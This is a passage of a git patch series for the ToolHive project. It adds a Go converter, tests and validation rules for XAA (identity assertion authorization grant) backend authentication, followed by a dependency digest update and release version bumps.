SPDX-License-Identifier: Apache-2.0 + +package converters + +import ( + "context" + "fmt" + + "sigs.k8s.io/controller-runtime/pkg/client" + + mcpv1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" + authtypes "github.com/stacklok/toolhive/pkg/vmcp/auth/types" +) + +// XAAConverter converts MCPExternalAuthConfig with xaa type to the runtime XAAConfig. +// XAA implements draft-ietf-oauth-identity-assertion-authz-grant (ID-JAG), an IETF draft +// for cross-application access using Identity Assertion JWT Authorization Grants. +type XAAConverter struct{} + +// StrategyType returns the vMCP strategy type identifier for XAA auth. +func (*XAAConverter) StrategyType() string { + return authtypes.StrategyTypeXAA +} + +// ConvertToStrategy converts an MCPExternalAuthConfig with type "xaa" to a BackendAuthStrategy. +// Secret references are not resolved here; they are resolved by ResolveSecrets. +func (*XAAConverter) ConvertToStrategy( + externalAuth *mcpv1beta1.MCPExternalAuthConfig, +) (*authtypes.BackendAuthStrategy, error) { + xaa := externalAuth.Spec.XAA + if xaa == nil { + return nil, fmt.Errorf("xaa config is nil") + } + + return &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: xaa.IDPTokenURL, + IDPClientID: xaa.IDPClientID, + TargetTokenURL: xaa.TargetTokenURL, + InsecureTargetTokenURL: xaa.InsecureTargetTokenURL, + TargetClientID: xaa.TargetClientID, + TargetAudience: xaa.TargetAudience, + TargetResource: xaa.TargetResource, + Scopes: xaa.Scopes, + SubjectProviderName: xaa.SubjectProviderName, + SubjectTokenType: xaa.SubjectTokenType, + }, + }, nil +} + +// ResolveSecrets fetches the IdP and target client secrets from Kubernetes and sets them +// in the strategy. This is used in discovered auth mode where secrets cannot be mounted +// as environment variables because the vMCP pod does not know about backend auth configs +// at pod creation time. +func (*XAAConverter) ResolveSecrets( + ctx context.Context, + externalAuth *mcpv1beta1.MCPExternalAuthConfig, + k8sClient client.Client, + namespace string, + strategy *authtypes.BackendAuthStrategy, +) (*authtypes.BackendAuthStrategy, error) { + if strategy == nil || strategy.XAA == nil { + return nil, fmt.Errorf("xaa strategy is nil") + } + + xaa := externalAuth.Spec.XAA + if xaa == nil { + return nil, fmt.Errorf("xaa config is nil") + } + + // Resolve IdP client secret + if xaa.IDPClientSecretRef != nil { + secretValue, err := resolveSecretKeyRef(ctx, k8sClient, namespace, xaa.IDPClientSecretRef) + if err != nil { + return nil, fmt.Errorf("failed to resolve IdP client secret: %w", err) + } + strategy.XAA.IDPClientSecret = secretValue + } + + // Resolve target client secret + if xaa.TargetClientSecretRef != nil { + secretValue, err := resolveSecretKeyRef(ctx, k8sClient, namespace, xaa.TargetClientSecretRef) + if err != nil { + return nil, fmt.Errorf("failed to resolve target client secret: %w", err) + } + strategy.XAA.TargetClientSecret = secretValue + } + + return strategy, nil +} diff --git a/pkg/vmcp/auth/converters/xaa_test.go b/pkg/vmcp/auth/converters/xaa_test.go new file mode 100644 index 0000000000..20d3ef5d6c --- /dev/null +++ b/pkg/vmcp/auth/converters/xaa_test.go @@ -0,0 +1,468 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package converters + +import ( + "context" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + corev1 "k8s.io/api/core/v1" + metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" + "k8s.io/apimachinery/pkg/runtime" + "sigs.k8s.io/controller-runtime/pkg/client" + "sigs.k8s.io/controller-runtime/pkg/client/fake" + + mcpv1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" + authtypes "github.com/stacklok/toolhive/pkg/vmcp/auth/types" +) + +func TestXAAConverter_StrategyType(t *testing.T) { + t.Parallel() + + converter := &XAAConverter{} + assert.Equal(t, authtypes.StrategyTypeXAA, converter.StrategyType()) +} + +func TestXAAConverter_ConvertToStrategy(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + externalAuth *mcpv1beta1.MCPExternalAuthConfig + wantStrategy *authtypes.BackendAuthStrategy + wantErr bool + errContains string + }{ + { + name: "full xaa config", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientID: "idp-client", + IDPClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "idp-secret", + Key: "client-secret", + }, + TargetTokenURL: "https://target.example.com/token", + TargetClientID: "target-client", + TargetClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "target-secret", + Key: "client-secret", + }, + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + Scopes: []string{"openid", "profile"}, + SubjectProviderName: "github", + SubjectTokenType: "urn:ietf:params:oauth:token-type:id_token", + }, + }, + }, + wantStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientID: "idp-client", + TargetTokenURL: "https://target.example.com/token", + TargetClientID: "target-client", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + Scopes: []string{"openid", "profile"}, + SubjectProviderName: "github", + SubjectTokenType: "urn:ietf:params:oauth:token-type:id_token", + }, + }, + }, + { + name: "minimal required fields", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "minimal-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + wantStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + { + name: "nil xaa config", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "nil-config", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: nil, + }, + }, + wantErr: true, + errContains: "xaa config is nil", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + converter := &XAAConverter{} + strategy, err := converter.ConvertToStrategy(tt.externalAuth) + + if tt.wantErr { + require.Error(t, err) + if tt.errContains != "" { + assert.Contains(t, err.Error(), tt.errContains) + } + return + } + + require.NoError(t, err) + assert.Equal(t, tt.wantStrategy, strategy) + }) + } +} + +func TestXAAConverter_ResolveSecrets(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + externalAuth *mcpv1beta1.MCPExternalAuthConfig + setupSecrets func(client.Client) error + inputStrategy *authtypes.BackendAuthStrategy + wantStrategy *authtypes.BackendAuthStrategy + wantErr bool + errContains string + }{ + { + name: "resolves both IdP and target secrets", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientID: "idp-client", + IDPClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "idp-secret", + Key: "client-secret", + }, + TargetTokenURL: "https://target.example.com/token", + TargetClientID: "target-client", + TargetClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "target-secret", + Key: "client-secret", + }, + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + setupSecrets: func(k8sClient client.Client) error { + idpSecret := &corev1.Secret{ + ObjectMeta: metav1.ObjectMeta{ + Name: "idp-secret", + Namespace: "default", + }, + Data: map[string][]byte{ + "client-secret": []byte("idp-secret-value"), + }, + } + targetSecret := &corev1.Secret{ + ObjectMeta: metav1.ObjectMeta{ + Name: "target-secret", + Namespace: "default", + }, + Data: map[string][]byte{ + "client-secret": []byte("target-secret-value"), + }, + } + if err := k8sClient.Create(context.Background(), idpSecret); err != nil { + return err + } + return k8sClient.Create(context.Background(), targetSecret) + }, + inputStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientID: "idp-client", + TargetTokenURL: "https://target.example.com/token", + TargetClientID: "target-client", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + wantStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientID: "idp-client", + IDPClientSecret: "idp-secret-value", + TargetTokenURL: "https://target.example.com/token", + TargetClientID: "target-client", + TargetClientSecret: "target-secret-value", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + { + name: "resolves only IdP secret when target has none", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "idp-secret", + Key: "client-secret", + }, + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + setupSecrets: func(k8sClient client.Client) error { + secret := &corev1.Secret{ + ObjectMeta: metav1.ObjectMeta{ + Name: "idp-secret", + Namespace: "default", + }, + Data: map[string][]byte{ + "client-secret": []byte("idp-secret-value"), + }, + } + return k8sClient.Create(context.Background(), secret) + }, + inputStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + wantStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientSecret: "idp-secret-value", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + { + name: "no-op when no secret refs configured", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + inputStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + wantStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + { + name: "nil strategy", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{}, + }, + }, + inputStrategy: nil, + wantErr: true, + errContains: "xaa strategy is nil", + }, + { + name: "nil xaa config in external auth", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: nil, + }, + }, + inputStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{}, + }, + wantErr: true, + errContains: "xaa config is nil", + }, + { + name: "missing IdP secret", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "nonexistent-secret", + Key: "client-secret", + }, + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + inputStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{}, + }, + wantErr: true, + errContains: "failed to resolve IdP client secret", + }, + { + name: "missing key in target secret", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "target-secret", + Key: "wrong-key", + }, + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + setupSecrets: func(k8sClient client.Client) error { + secret := &corev1.Secret{ + ObjectMeta: metav1.ObjectMeta{ + Name: "target-secret", + Namespace: "default", + }, + Data: map[string][]byte{ + "client-secret": []byte("target-secret-value"), + }, + } + return k8sClient.Create(context.Background(), secret) + }, + inputStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{}, + }, + wantErr: true, + errContains: "failed to resolve target client secret", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + // Create fake client with schemes + scheme := runtime.NewScheme() + _ = mcpv1beta1.AddToScheme(scheme) + _ = corev1.AddToScheme(scheme) + fakeClient := fake.NewClientBuilder().WithScheme(scheme).Build() + + // Setup secrets if provided + if tt.setupSecrets != nil { + err := tt.setupSecrets(fakeClient) + require.NoError(t, err, "failed to setup secrets") + } + + converter := &XAAConverter{} + strategy, err := converter.ResolveSecrets( + context.Background(), + tt.externalAuth, + fakeClient, + tt.externalAuth.Namespace, + tt.inputStrategy, + ) + + if tt.wantErr { + require.Error(t, err) + if tt.errContains != "" { + assert.Contains(t, err.Error(), tt.errContains) + } + return + } + + require.NoError(t, err) + assert.Equal(t, tt.wantStrategy, strategy) + }) + } +} diff --git a/pkg/vmcp/auth/strategies/xaa.go b/pkg/vmcp/auth/strategies/xaa.go index 5c71a3cca2..016b8fae15 100644 --- a/pkg/vmcp/auth/strategies/xaa.go +++ b/pkg/vmcp/auth/strategies/xaa.go @@ -159,8 +159,26 @@ func (s *XAAStrategy) Authenticate( // This validation is typically called during configuration parsing to fail fast // if the strategy is misconfigured. func (s *XAAStrategy) Validate(strategy *authtypes.BackendAuthStrategy) error { - _, err := s.parseXAAConfig(strategy) - return err + config, err := s.parseXAAConfig(strategy) + if err != nil { + return err + } + + // Emit configuration warnings here rather than in parseXAAConfig: Validate + // runs once per backend at wire-up, whereas parseXAAConfig also runs on every + // Authenticate call and would spam these on every request. + if config.allowInsecureHTTP { + slog.Warn("xaa: plain HTTP enabled for TargetTokenURL; do not use in production", + "targetTokenURL", config.targetTokenURL, + ) + } + if config.targetClientID == "" { + slog.Warn("xaa: Step B will run without client authentication; " + + "most authorization servers reject unauthenticated JWT-bearer grants " + + "(ID-JAG draft §9.1 recommends confidential clients)") + } + + return nil } // xaaParsedConfig holds the parsed and resolved XAA configuration. @@ -175,6 +193,7 @@ type xaaParsedConfig struct { targetResource string scopes []string subjectProviderName string + subjectTokenType string allowInsecureHTTP bool } @@ -214,7 +233,7 @@ func (*XAAStrategy) performStepA( TokenURL: config.idpTokenURL, ClientID: config.idpClientID, ClientSecret: config.idpClientSecret, - SubjectTokenType: oauthproto.TokenTypeIDToken, + SubjectTokenType: config.subjectTokenType, RequestedTokenType: oauthproto.TokenTypeIDJAG, Audience: config.targetAudience, Resource: config.targetResource, @@ -415,6 +434,11 @@ func (s *XAAStrategy) parseXAAConfig(strategy *authtypes.BackendAuthStrategy) (* return nil, fmt.Errorf("target credentials: %w", err) } + subjectTokenType := cfg.SubjectTokenType + if subjectTokenType == "" { + subjectTokenType = oauthproto.TokenTypeIDToken + } + return &xaaParsedConfig{ idpTokenURL: cfg.IDPTokenURL, idpClientID: cfg.IDPClientID, @@ -426,6 +450,7 @@ func (s *XAAStrategy) parseXAAConfig(strategy *authtypes.BackendAuthStrategy) (* targetResource: cfg.TargetResource, scopes: cfg.Scopes, subjectProviderName: cfg.SubjectProviderName, + subjectTokenType: subjectTokenType, allowInsecureHTTP: cfg.InsecureTargetTokenURL, }, nil } diff --git a/pkg/vmcp/auth/types/types.go b/pkg/vmcp/auth/types/types.go index 89ce82d23c..bbf5982f23 100644 --- a/pkg/vmcp/auth/types/types.go +++ b/pkg/vmcp/auth/types/types.go @@ -320,4 +320,10 @@ type XAAConfig struct { // SubjectProviderName selects which upstream provider's ID token to use. // Auto-populated when embedded AS is active. SubjectProviderName string `json:"subjectProviderName,omitempty" yaml:"subjectProviderName,omitempty"` + + // SubjectTokenType is the token-type URN of the upstream subject token + // used in Step A. Defaults to TokenTypeIDToken when empty. Currently only + // urn:ietf:params:oauth:token-type:id_token is accepted; the field exists + // to allow future expansion to SAML upstreams without an API break. + SubjectTokenType string `json:"subjectTokenType,omitempty" yaml:"subjectTokenType,omitempty"` } diff --git a/pkg/vmcp/config/defaults.go b/pkg/vmcp/config/defaults.go index dd03ff6251..3e577f1327 100644 --- a/pkg/vmcp/config/defaults.go +++ b/pkg/vmcp/config/defaults.go @@ -97,20 +97,18 @@ func (c *Config) EnsureOperationalDefaults() { // strategy with no SubjectProviderName would silently fall back to // identity.Token (the ToolHive-issued JWT), which the exchange endpoint rejects. // -// When cfg or rc is nil the call is a no-op. The provider name is resolved from -// the first upstream in rc.Upstreams (normalised via authserver.ResolveUpstreamName); -// if there are no upstreams it falls back to authserver.DefaultUpstreamName. +// When cfg or rc is nil the call is a no-op. The provider name is derived via +// authserver.ResolveFirstUpstreamName over rc.Upstreams. func InjectSubjectProviderNames(cfg *Config, rc *authserver.RunConfig) { if cfg == nil || rc == nil || cfg.OutgoingAuth == nil { return } - providerName := func() string { - if len(rc.Upstreams) > 0 { - return authserver.ResolveUpstreamName(rc.Upstreams[0].Name) - } - return authserver.DefaultUpstreamName - }() + names := make([]string, len(rc.Upstreams)) + for i, u := range rc.Upstreams { + names[i] = u.Name + } + providerName := authserver.ResolveFirstUpstreamName(names) injectIntoStrategy(cfg.OutgoingAuth.Default, providerName) for _, strategy := range cfg.OutgoingAuth.Backends { diff --git a/pkg/vmcp/config/validator.go b/pkg/vmcp/config/validator.go index 92ecd84629..22ff9588ec 100644 --- a/pkg/vmcp/config/validator.go +++ b/pkg/vmcp/config/validator.go @@ -293,6 +293,24 @@ func (*DefaultValidator) validateBackendAuthStrategy(_ string, strategy *authtyp if strategy.OBO.ClientSecret != "" && strategy.OBO.ClientSecretEnv != "" { return fmt.Errorf("obo: clientSecret and clientSecretEnv are mutually exclusive") } + + case authtypes.StrategyTypeXAA: + if strategy.XAA == nil { + return fmt.Errorf("xaa requires XAA configuration") + } + if strategy.XAA.IDPTokenURL == "" { + return fmt.Errorf("xaa requires idpTokenUrl field") + } + if strategy.XAA.TargetTokenURL == "" { + return fmt.Errorf("xaa requires targetTokenUrl field") + } + if strategy.XAA.TargetAudience == "" { + return fmt.Errorf("xaa requires targetAudience field") + } + if strategy.XAA.SubjectTokenType != "" && strategy.XAA.SubjectTokenType != "urn:ietf:params:oauth:token-type:id_token" { + return fmt.Errorf("xaa: unsupported subjectTokenType %q; only %q is accepted", + strategy.XAA.SubjectTokenType, "urn:ietf:params:oauth:token-type:id_token") + } } return nil diff --git a/pkg/vmcp/config/validator_test.go b/pkg/vmcp/config/validator_test.go index ce513ca793..ffabe98696 100644 --- a/pkg/vmcp/config/validator_test.go +++ b/pkg/vmcp/config/validator_test.go @@ -327,6 +327,125 @@ func TestValidator_ValidateOutgoingAuth(t *testing.T) { }, wantErr: false, // V-02 handles provider name resolution }, + { + name: "valid xaa backend", + auth: &OutgoingAuthConfig{ + Source: "inline", + Backends: map[string]*authtypes.BackendAuthStrategy{ + "target": { + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + }, + }, + }, + }, + wantErr: false, + }, + { + name: "xaa nil config", + auth: &OutgoingAuthConfig{ + Source: "inline", + Backends: map[string]*authtypes.BackendAuthStrategy{ + "target": { + Type: authtypes.StrategyTypeXAA, + XAA: nil, + }, + }, + }, + wantErr: true, + errMsg: "xaa requires XAA configuration", + }, + { + name: "xaa missing idpTokenUrl", + auth: &OutgoingAuthConfig{ + Source: "inline", + Backends: map[string]*authtypes.BackendAuthStrategy{ + "target": { + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + }, + }, + }, + }, + wantErr: true, + errMsg: "xaa requires idpTokenUrl field", + }, + { + name: "xaa missing targetTokenUrl", + auth: &OutgoingAuthConfig{ + Source: "inline", + Backends: map[string]*authtypes.BackendAuthStrategy{ + "target": { + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + TargetAudience: "https://target.example.com", + }, + }, + }, + }, + wantErr: true, + errMsg: "xaa requires targetTokenUrl field", + }, + { + name: "xaa missing targetAudience", + auth: &OutgoingAuthConfig{ + Source: "inline", + Backends: map[string]*authtypes.BackendAuthStrategy{ + "target": { + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + }, + }, + }, + }, + wantErr: true, + errMsg: "xaa requires targetAudience field", + }, + { + name: "xaa unsupported subjectTokenType", + auth: &OutgoingAuthConfig{ + Source: "inline", + Backends: map[string]*authtypes.BackendAuthStrategy{ + "target": { + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + SubjectTokenType: "urn:ietf:params:oauth:token-type:access_token", + }, + }, + }, + }, + wantErr: true, + errMsg: "xaa: unsupported subjectTokenType", + }, + { + name: "xaa valid subjectTokenType id_token", + auth: &OutgoingAuthConfig{ + Source: "inline", + Backends: map[string]*authtypes.BackendAuthStrategy{ + "target": { + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + SubjectTokenType: "urn:ietf:params:oauth:token-type:id_token", + }, + }, + }, + }, + wantErr: false, + }, } for _, tt := range tests { From 99e233dc93a833680bf9ca47467fa0b51497ddff Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Wed, 1 Jul 2026 13:43:49 +0200 Subject: [PATCH 04/66] Update go.starlark.net digest to 529d8e8 (#5520) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- go.mod | 2 +- go.sum | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/go.mod b/go.mod index 6b122e7776..d52fc46a2b 100644 --- a/go.mod +++ b/go.mod @@ -83,7 +83,7 @@ require github.com/getsentry/sentry-go/otel v0.44.1 require github.com/hashicorp/golang-lru/v2 v2.0.7 -require go.starlark.net v0.0.0-20260522144826-ec58d4b459e2 +require go.starlark.net v0.0.0-20260630144053-529d8e869a14 require ( github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.30 // indirect diff --git a/go.sum b/go.sum index eeab126f3d..360dd593a8 100644 --- a/go.sum +++ b/go.sum @@ -927,8 +927,8 @@ go.opentelemetry.io/otel/trace v1.44.0 h1:jxF5CsGYCe74MCRx2X4g7WsY/VBKRqqpNvXlX/ go.opentelemetry.io/otel/trace v1.44.0/go.mod h1:oLl1jrMQAVo6v3GAggN+1VH9VIz9iUSvW53sW1Q8PIE= go.opentelemetry.io/proto/otlp v1.10.0 h1:IQRWgT5srOCYfiWnpqUYz9CVmbO8bFmKcwYxpuCSL2g= go.opentelemetry.io/proto/otlp v1.10.0/go.mod h1:/CV4QoCR/S9yaPj8utp3lvQPoqMtxXdzn7ozvvozVqk= -go.starlark.net v0.0.0-20260522144826-ec58d4b459e2 h1:3cIeOhZXLdLHnBoLyKdJu4SEAEuM/av/VFzB5twLo8k= -go.starlark.net v0.0.0-20260522144826-ec58d4b459e2/go.mod h1:Iue6g6iirlfLoVi/DYCi5/x0h/bAOuWF3dULTKpt2Vo= +go.starlark.net v0.0.0-20260630144053-529d8e869a14 h1:w4krPU6GwY87DdwH30fr/GygfD3ROuoBq3YWilzFe6A= +go.starlark.net v0.0.0-20260630144053-529d8e869a14/go.mod h1:Iue6g6iirlfLoVi/DYCi5/x0h/bAOuWF3dULTKpt2Vo= go.step.sm/crypto v0.77.7 h1:6azC+pD678Vjju8yXnMDHCZJ+HzFaEmL3sCryiezTIA= go.step.sm/crypto v0.77.7/go.mod h1:OW/2sEHwTtDKq70PvSQ5B0JGy/CrLyDKOiVy3YvZMTQ= go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= From 2aca563879963a905d98fa4479e384371367275a Mon Sep 17 00:00:00 2001 From: "toolhive-release-app[bot]" <280093410+toolhive-release-app[bot]@users.noreply.github.com> Date: Wed, 1 Jul 2026 16:10:41 +0200 Subject: [PATCH 05/66] Release v0.33.0 (#5698) Update release files Release-Triggered-By: jhrozek Co-authored-by: toolhive-release-app[bot] <280093410+toolhive-release-app[bot]@users.noreply.github.com> --- VERSION | 2 +- deploy/charts/operator-crds/Chart.yaml | 4 ++-- deploy/charts/operator-crds/README.md | 2 +- deploy/charts/operator/Chart.yaml | 4 ++-- deploy/charts/operator/README.md | 10 +++++----- deploy/charts/operator/values.yaml | 6 +++--- 6 files changed, 14 insertions(+), 14 deletions(-) diff --git a/VERSION b/VERSION index 9eb2aa3f10..be386c9ede 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -0.32.0 +0.33.0 diff --git a/deploy/charts/operator-crds/Chart.yaml b/deploy/charts/operator-crds/Chart.yaml index 7ff2fa00c1..67738c9fe1 100644 --- a/deploy/charts/operator-crds/Chart.yaml +++ b/deploy/charts/operator-crds/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: toolhive-operator-crds description: A Helm chart for installing the ToolHive Operator CRDs into Kubernetes. type: application -version: 0.32.0 -appVersion: "v0.32.0" +version: 0.33.0 +appVersion: "v0.33.0" diff --git a/deploy/charts/operator-crds/README.md b/deploy/charts/operator-crds/README.md index 8d34aa2113..11dd438774 100644 --- a/deploy/charts/operator-crds/README.md +++ b/deploy/charts/operator-crds/README.md @@ -1,6 +1,6 @@ # ToolHive Operator CRDs Helm Chart -![Version: 0.32.0](https://img.shields.io/badge/Version-0.32.0-informational?style=flat-square) +![Version: 0.33.0](https://img.shields.io/badge/Version-0.33.0-informational?style=flat-square) ![Type: application](https://img.shields.io/badge/Type-application-informational?style=flat-square) A Helm chart for installing the ToolHive Operator CRDs into Kubernetes. diff --git a/deploy/charts/operator/Chart.yaml b/deploy/charts/operator/Chart.yaml index a1862f4090..aee8ce440d 100644 --- a/deploy/charts/operator/Chart.yaml +++ b/deploy/charts/operator/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: toolhive-operator description: A Helm chart for deploying the ToolHive Operator into Kubernetes. type: application -version: 0.32.0 -appVersion: "v0.32.0" +version: 0.33.0 +appVersion: "v0.33.0" diff --git a/deploy/charts/operator/README.md b/deploy/charts/operator/README.md index 8366d89b8d..5254972cb7 100644 --- a/deploy/charts/operator/README.md +++ b/deploy/charts/operator/README.md @@ -1,6 +1,6 @@ # ToolHive Operator Helm Chart -![Version: 0.32.0](https://img.shields.io/badge/Version-0.32.0-informational?style=flat-square) +![Version: 0.33.0](https://img.shields.io/badge/Version-0.33.0-informational?style=flat-square) ![Type: 